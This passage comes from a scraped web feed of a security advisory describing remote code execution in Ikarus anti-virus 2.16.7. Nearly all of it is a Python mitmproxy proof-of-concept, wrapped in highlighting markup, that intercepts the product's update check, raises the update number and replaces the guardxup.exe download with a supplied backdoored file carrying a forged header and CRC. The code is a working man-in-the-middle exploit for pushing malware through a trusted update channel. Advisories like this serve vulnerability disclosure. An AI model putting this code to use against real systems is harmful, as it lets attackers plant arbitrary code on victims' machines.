class=\"crayon-i\">s<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">the_result<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">isdigit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-64\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-65\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">original_update_number<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-66\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-67\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">original_update_number<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-68\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">content<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-69\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-70\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;cgi-bin\/virusutilities.pl&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">path <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;virusutilities&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">headers<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;User-Agent&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">already_patched<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-71\"><span class=\"crayon-h\">\t&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[*] Found update response, modifying&#8230;&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-72\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">content<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-73\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">re<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">compile<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;update[s|t].*n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-74\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">p<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">search<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-75\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">the_result<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">result<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">group<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-76\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">original_update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">s<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">the_result<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">isdigit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-77\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-78\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">original_update_number<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-79\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_number<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-80\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[*] Update_number&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">update_number<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-81\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[*] Replace number&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">to_replace<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-82\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">replace<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">original_update_number<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">str<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">to_replace<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-83\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;[*] Updated content&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">content<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-84\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">content <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-85\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-86\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;guard&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">path <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;full&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">request<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">path <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">already_patched<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-87\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;[*] Found guardxup.exe request! Modifying request and pushing provided file!&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-88\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">crc<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">backdoored_file<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-89\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">win_header<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-90\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">backdoored_file<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;rb&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-91\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">file_out<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-92\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">update_header<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file_out&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-93\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;\/tmp\/update_test.full&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;wb&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-94\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-95\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">content<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">content <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-96\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">reply<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">obj<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">response<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">status_code<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">200<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-97\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">already_patched<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-98\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">flow<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">reply<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-99\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-100\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-101\"><span class=\"crayon-v\">config<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">proxy<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ProxyConfig<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">port<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">8080<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mode<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8216;transparent&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-102\"><span class=\"crayon-v\">server<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ProxyServer<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">config<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59e530663aac6930267215-103\"><span class=\"crayon-v\">m<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">IkarusPOC<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">server<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59e530663aac6930267215-104\"><span class=\"crayon-v\">m<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">run<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0132 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3485\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Mon, 16 Oct 2017 09:21:04 +0000<\/strong><\/p>\n<p>Vulnerability summary The following advisory describes an remote code execution found in Ikraus Anti Virus version 2.16.7. KARUS anti.virus &#8220;secures your personal data and PC from all kinds of malware. Additionally, the Anti-SPAM module protects you from SPAM and malware from e-mails. Prevent intrusion and protect yourself against cyber-criminals by choosing IKARUS anti.virus, powered by &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3485\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Ikraus Anti Virus Remote Code 